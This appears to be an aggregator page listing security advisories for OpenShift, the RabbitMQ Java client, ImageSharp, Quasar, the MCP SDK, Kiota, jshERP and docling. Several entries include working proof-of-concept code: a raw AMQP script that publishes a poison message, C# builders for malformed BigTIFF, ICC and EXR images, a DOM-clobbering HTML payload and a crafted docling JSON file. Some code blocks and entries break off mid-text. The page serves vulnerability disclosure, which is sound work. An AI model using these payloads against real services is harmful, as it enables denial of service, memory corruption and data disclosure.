Search: h-w-g.com

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.20.41. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHSA-2026:74376 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/ Security Fix(es): * kernel: sctp: prevent peer transport count overflow (CVE-2026-74469) * kernel: xfrm: ah6: validate routing header segments_left (CVE-2026-80844) * kernel: net: tun: bound receive headroom (CVE-2026-81000) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

### Summary When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in `Vector4`. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three. ### Details `IccClut` accepts one through fifteen input and output channels. In the reproduced `A2B0` LUT16 path, an attacker-controlled profile declares three input channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87) passes a pointer to a four-float `Vector4` result into interpolation code that writes one float per declared output channel. It consequently writes fifteen floats. The same LUT16 tag also has fifteen output LUTs; their [`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58) implementation uses `Unsafe.Add` from the first float of a four-float `Vector4`. An application reaches this code by decoding an image containing the profile with `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the default and does not run ICC conversion. ### Reproduction environment and result The supplied exploit and control were run against the published NuGet 4.1.1 `net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30. The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below. Complete control output: ```text mode=control output_channels=3 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=204 decode_completed Docker exit status: 0 ``` Complete exploit output: ```text mode=exploit output_channels=15 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=207 Docker exit status: 139 ``` No active exploitation is known. ### Impact Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths. ### Complete PoC files Program.cs: ```csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats; static class Program { private static void U32(Stream stream, uint value) { Span<byte> bytes = stackalloc byte[4]; BinaryPrimitives.WriteUInt32BigEndian(bytes, value); stream.Write(bytes); } private static void U16(Stream stream, ushort value) { Span<byte> bytes = stackalloc byte[2]; BinaryPrimitives.WriteUInt16BigEndian(bytes, value); stream.Write(bytes); } private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D))); // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4. private static byte[] BuildIcc(int outCh) { const int inCh = 3; const int clutPoints = 2; const int tableEntries = 2; using var stream = new MemoryStream(); byte[] header = new byte[128]; BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3 Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16); Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20); stream.Write(header);

## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. ## Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. ## Details For ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205) allocates the expected block buffer without `AllocationOptions.Clean` and later interprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38) accepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75) rejects only `totalRead == 0`. Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. `ExrDecoderCore` then converts those bytes into returned image pixels. ## Reproduction The attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value `0.27182817`. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR. The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output. ```sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control ``` Test environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64. Observed output: ```text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4 imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1 ``` ## Suggested remediation Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes. ### Complete PoC files Program.cs: ```csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats; // This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f; private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-ass

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.20.41. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHSA-2026:74376 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/

### Summary A DOM Clobbering vulnerability exists in Quasar's `openURL()` utility when handling the iOS `SafariViewController` bridge. The vulnerable implementation only checks whether `window.SafariViewController` exists before invoking it as a native bridge object. An attacker who can inject HTML content containing a named element such as `<a id="SafariViewController">` can cause the browser to expose that element as `window.SafariViewController`. When `openURL()` is later called in an iOS environment, Quasar incorrectly treats the DOM element as the native bridge object and attempts to invoke bridge methods that do not exist, resulting in: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` This can cause client-side denial of service and break navigation-related workflows in Quasar applications. ### Details Quasar provides the `openURL()` utility to open external URLs. On iOS platforms, this utility supports integration with the native `SafariViewController` bridge. The vulnerable code is located in: ``` ui/src/utils/open-url/open-url.js ```` The affected logic is: ```javascript if (Platform.is.ios && window.SafariViewController !== void 0) { window.SafariViewController.isAvailable(available => { if (available) { window.SafariViewController.show({ url }, noop, reject) } }) } ```` The issue is that Quasar only verifies that `window.SafariViewController` is not `undefined`. It does not verify whether the value is the expected native bridge object or whether required methods such as `isAvailable()` and `show()` are valid functions. Modern browsers expose elements with specific `id` or `name` attributes as properties of the global `window` object. Therefore, attacker-controlled HTML such as: ```html <a id="SafariViewController"></a> ``` can cause: ```javascript window.SafariViewController ``` to resolve to an `HTMLAnchorElement` instead of the expected native bridge object. When Quasar later executes: ```javascript window.SafariViewController.isAvailable(...) ``` the DOM element is incorrectly treated as the bridge object, causing: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The root cause is insufficient validation of browser-controlled global properties before using them as trusted native bridge objects. The vulnerability was verified through the Quasar `QEditor` rendering path. When attacker-controlled HTML content is rendered into the DOM and creates the `SafariViewController` named element, subsequent calls to `openURL()` fail. Additional component-level affected paths were identified in `QSelect` and `QChatMessage` when applications enable HTML rendering features and provide attacker-controlled content. These paths require specific application configurations and were not used as the primary end-to-end reproduction. ### PoC #### Steps to reproduce 1. Render attacker-controlled HTML content through a Quasar HTML rendering component such as `QEditor`. 2. Insert the following payload: ```html <a id="SafariViewController" href="#bridge"> SafariViewController </a> ```` 3. Verify that the browser exposes the element as a global property: ```javascript window.SafariViewController ``` The value resolves to the injected DOM element instead of the expected native bridge object. 4. Trigger a normal workflow that invokes: ```javascript openURL('https://example.com') ``` 5. Observe the browser console output: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The URL opening workflow fails because Quasar attempts to invoke native bridge methods on the DOM element. The same underlying issue can also affect other HTML rendering paths such as `QSelect` and `QChatMessage` when attacker-controlled HTML is rendered and the application later calls `openURL()`. ### Impact This vulnerability is a client-side DOM Clobbering and type confusion issue affecting Quasar applications that use the iOS `SafariViewController` integration. An attacker who can control HTML content rendered into the application DOM may cause Quasar's `openURL()` functionality to fail by replacing the expected native bridge object with a DOM element through browser named property resolution. Potentially affected workflows include external URL navigation, OAuth/login redirects, help or documentation links, payment flows, third-party service redirects, and other application actions that rely on URL opening functionality. The confirmed impact is client-side denial of service and navigation or workflow disruption. When the vulnerable condition is triggered, Quasar throws an exception while attempting to invoke methods on the clobbered `SafariViewController` object, preventing the expected URL opening behavior.

### Summary In affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to. A malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it: - the `refresh_token` and `client_secret` stored from an earlier sign-in - the `client_secret` or signed assertion configured on a bundled provider ### Am I affected? Yes, if both of these hold: - your application uses the SDK's OAuth client over HTTP, through any of: - an `authProvider` on a transport - the `withOAuth()` middleware - direct calls to `auth()` or `fetchToken()` - it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server Affected versions: - `@modelcontextprotocol/sdk` 1.12.0 through 1.30.1 - `@modelcontextprotocol/client` 2.0.0 through 2.1.0, only for: - bundled providers without `expectedIssuer` - credentials stored or supplied without `issuer` - direct calls to `fetchToken()` - providers that read storage back through `OAuthTokensSchema` or `OAuthClientInformationSchema` Not affected: - MCP servers built with the SDK - stdio clients ### Fix Upgrade to: - 1.x: `@modelcontextprotocol/sdk` 1.31.0 or later - 2.x: `@modelcontextprotocol/client` 2.2.0 or later, and `@modelcontextprotocol/core` 2.2.0 or later if you import it directly The client now records the authorization server as `issuer` on saved credentials and does not send them to a different one. The user signs in again, or the call throws. In the following cases, upgrading to the patched version is not enough. You also need to make a change: - **Bundled providers** (`ClientCredentialsProvider`, `PrivateKeyJwtProvider`, `StaticPrivateKeyJwtProvider`, `CrossAppAccessProvider`): pass `expectedIssuer`, for example `expectedIssuer: 'https://auth.example.com'`. Without it they still use whichever authorization server the MCP server names. - **Credentials saved without `issuer`:** tokens and client information your `OAuthClientProvider` persisted (file, keychain, database) before upgrading, including everything 1.x saved before 1.31.0. They still go to whichever authorization server is named at first use. Add `issuer` to them, or clear them so users sign in again. - **Your own `OAuthClientProvider`:** save exactly what `saveTokens()` and `saveClientInformation()` are given, including `issuer`. For pre-registered credentials, include `issuer` in what `clientInformation()` returns. Not covered by this fix: - a new interactive sign-in, which still goes to the authorization server the MCP server names. Only complete sign-ins for servers you trust. - `refreshAuthorization()` and `exchangeAuthorization()` called directly - 2.x with `skipIssuerMetadataValidation: true` If an affected client may have connected to an untrusted MCP server, rotate its client secret or signing key and revoke its tokens. If you cannot upgrade yet, connect OAuth clients only to MCP servers you trust. 2.0.0 and 2.1.0 already accept `expectedIssuer`.

### Impact When generating an API plugin manifest from an attacker-controlled or compromised OpenAPI description, Kiota copies `x-ai-capabilities.response_semantics.oauth_card_path` into the manifest without validating that it is a safe package-relative file reference. An attacker can supply parent-directory traversal, rooted paths, or absolute URIs instead of a card file within the plugin package. The unsafe reference is propagated into the generated manifest. Its security effect depends on the downstream host's handling of the reference when the plugin is packaged and deployed. This is not local code execution or a file read performed by Kiota merely during generation. A consuming host that resolves the untrusted reference can cross the intended package boundary or use an unintended authentication card. ### Affected versions The affected NuGet packages are `Microsoft.OpenApi.Kiota` and `Microsoft.OpenApi.Kiota.Builder`, starting with version 1.25.1, which introduced this manifest field. The field remains unvalidated through version 1.34.1, including the separate 1.29.1 security-backport release. Version 1.35.0 fixes the issue. ### Patches Upgrade to Kiota 1.35.0 or later and regenerate affected plugin manifests. Kiota now applies the existing safe-file-reference validator to `oauth_card_path`, drops unsafe references, and emits a warning. Valid relative card paths remain supported. - Fix: https://github.com/microsoft/kiota/pull/8055 - Fixed release: https://github.com/microsoft/kiota/releases/tag/v1.35.0 ### Workarounds Generate plugins only from trusted, integrity-protected OpenAPI descriptions. Before packaging or deployment, review generated manifests and remove any `oauth_card_path` that is not a safe relative reference confined to the plugin package. Do not rely on validation of sibling manifest fields to validate this field. ### Related advisories GHSA-4jwf-m4wg-8p66 and GHSA-p5rm-jg5c-8c77 cover `static_template.file`. Their fixes do not enforce validation at the separate `oauth_card_path` emission site.

The OpenShift Security Profiles Operator v0.10.1 is now available. See the documentation for release information: https://docs.redhat.com/en/documentation/openshift_container_platform/latest/html/security_and_compliance/security-profiles-operator

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.21.36. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2026:74378 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/

A security flaw has been discovered in jishenghua jshERP up to 3.5. Affected is the function updateAccountHeadAndDetail of the file jshERP-boot/src/main/java/com/jsh/erp/service/AccountHeadService.java of the component Financial Receipt Update Handler. Performing a manipulation results in improper authorization. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

### Summary docling accepts serialized `DoclingDocument` JSON as an input format (`InputFormat.JSON_DOCLING`, enabled by default). A crafted JSON file can set a picture's image `uri` to a local file path. When the converted document is exported with embedded images (`ImageRefMode.EMBEDDED`, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output. ### Details `docling/backend/json/docling_json_backend.py` validates the JSON into a `DoclingDocument` without checking image references. The file is then read by docling-core: - `DoclingDocument._with_embedded_pictures` opens `file://` and plain-path URIs with PIL. - `ImageRef.pil_image` checks `allow_image_file_uri` for `file://` URIs but not for plain `Path` values. docling's picture enrichment models load images through this property. Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists. ### Impact Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists. ### Proof of concept ```python from pathlib import Path from docling_core.types.doc import DoclingDocument, ImageRef from docling_core.types.doc.base import Size doc = DoclingDocument(name="poc") doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1), uri=Path("/srv/uploads/other-user/scan.png"))) doc.save_as_json("poc.json") ``` `docling poc.json --to md` embeds the referenced PNG as base64 in `poc.md`. ### Patches Fixed in docling 2.131.0 by [#4417](https://github.com/docling-project/docling/pull/4417). The Docling JSON backend now drops image references that point at local files (paths, `file:` URIs and any scheme other than `data:` and `http(s)`) and logs a warning. Callers that need to load local images from JSON they trust can opt in with `DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True))`; the CLI has no such option. Code that loads untrusted JSON directly with docling-core (`DoclingDocument.load_from_json`) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core. ### Workarounds Upgrade to 2.131.0. For older versions: - Remove `InputFormat.JSON_DOCLING` from `allowed_formats` when converting untrusted input. - Export with `ImageRefMode.PLACEHOLDER` or `ImageRefMode.REFERENCED` instead of `EMBEDDED`.

### Summary `allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled. ### Details In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported. ### Affected configurations Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running. ### Impact Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`. ### Patches Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported. ### Workarounds Upgrade to 2.131.0. For older versions: Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`.

### Summary When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (`LatexBackendOptions(tikz_engine="tectonic")`), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted `.tex` file can read files the process can read and write files at paths the process can write. If the caller also sets `tikz_engine_allow_shell_escape=True`, the document can run shell commands through `\write18`. ### Details `docling/backend/latex/engines/tectonic.py` writes the picture source into a temporary document and runs the `tectonic` binary on it. `_resolve_local_dependency` only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so: - `\input{/abs/path}`, `\verbatiminput{...}` and `\openin` read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory `DocumentStream`, staging is skipped entirely. - `\immediate\openout` / `\write` create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's `--untrusted` flag does not block them either. Separately, the `TectonicEngine` constructor defaults to `allow_shell_escape=True`. The LaTeX backend always passes 